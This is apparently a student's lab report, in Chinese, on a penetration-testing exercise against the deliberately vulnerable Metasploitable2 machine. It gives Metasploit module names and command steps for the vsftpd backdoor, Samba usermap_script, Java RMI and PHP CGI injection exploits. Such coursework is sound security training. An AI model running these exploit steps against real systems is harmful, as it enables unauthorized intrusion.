20222417 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.本周内容回顾Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。旨在帮助安全专家和IT专家识别安全问题、验证漏洞修复情况,并管理由专家执行的安全评估。Metasploit框架包含多个模块,包括扫描器、漏洞验证工具、漏洞利用工具、载荷生成器等,这些工具可以协同工作,使得渗透测试工作更加高效和准确。
2.实验内容及要求
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
3.实验过程
(1)前期渗透
用户名:msfadmin
密码:msfadmin
使用ifconfig查看ip
靶机IP是192.168.17.150
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
发现有许多活跃设备
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
4.问题及解决方案
- 问题1:在扫描端口时,输入-sS时最后一个S未大写,导致无法扫描
- 问题1解决方案:改为大写
5.学习感悟、思考等
本次实验是在做完测试以后进行的,发现对应msf的应用更加得心应手,对于Metaploit攻击渗透的过程也有了具体的认识。学会了如何设置目标机与靶机,复习了使用nmap的知识,对于渗透的知识有了进一步的学习。